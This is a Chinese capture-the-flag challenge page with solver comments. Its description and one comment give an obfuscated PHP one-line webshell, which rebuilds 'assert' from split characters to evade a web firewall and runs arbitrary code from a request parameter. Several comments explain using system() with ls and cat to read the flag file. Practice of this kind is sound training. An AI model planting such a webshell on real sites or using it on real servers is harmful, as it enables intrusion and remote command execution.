shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一　　血: dotast
一血奖励: 1金币
解　　决: 9259
提　　示:
描　　述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
...
登录回复
评论
a6819772 11月前
举报

为什么用?s=system(type flaga15808abee46a1d5.txt)没用啊 萌新求问

回复 0
zhang 9月前
举报

cat

回复 2
TIMEtime 11月前
举报

$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; s=$poc_2($_POST['cmd']);

回复 0
Cra2yNoob 12月前
举报

为什么拿了flag，重新启动场景还要金币呀，我还想再试试有没有别的手法呢~

回复 2
banfang 1年前
举报

点击场景，然后将描述发给豆包

回复 2
秋天在哪 1年前
举报

为什么我的剑蚁连接超时？

回复 0
byhuang 1年前
举报

flag{***}

回复 0
ubudj 1年前
举报

分析代码，得到/?s=system(),用ls查看目录，找到文件。因为system函数能执行任何shell命令

回复 0
一个姓⎝李⎠的师傅~ 1年前
举报

我的扩展里也解释了下，为何蚁剑能连接，大家可以看看，有不足的还希望互相探讨

回复 4
一个姓⎝李⎠的师傅~ 1年前
举报

自己的解题思路：https://www.yuque.com/u21437924/ap9vtm/gqkc3dcfmfpe5p85?singleDoc#hjui5

回复 12
wywsssf 1年前
举报

AI分析代码，参数格式为?s=system('')，先用ls目录，再用cat读取txt文件

回复 1

WriteUp

image
harry

3 金币

立即查看

评分(11)

解题动态

南风 攻破了该题 8小时前
crea-tive 攻破了该题 10小时前
月落曦辰 攻破了该题 14小时前
1916176503 攻破了该题 15小时前
suoao 攻破了该题 17小时前
男大有点小帅 攻破了该题 20小时前
浅云723 攻破了该题 22小时前
淮南 攻破了该题 1天前
安全的可达鸭 攻破了该题 1天前
qinlan 攻破了该题 1天前
白说的话 攻破了该题 1天前
TOVOT 攻破了该题 1天前
inspired 攻破了该题 2天前
colaring 攻破了该题 2天前
xinyu929 攻破了该题 2天前
shooter6567 攻破了该题 3天前
Yan123 攻破了该题 3天前
HZFCMCC 攻破了该题 3天前
1234wsryv 攻破了该题 3天前
LightPing 攻破了该题 3天前
问题反馈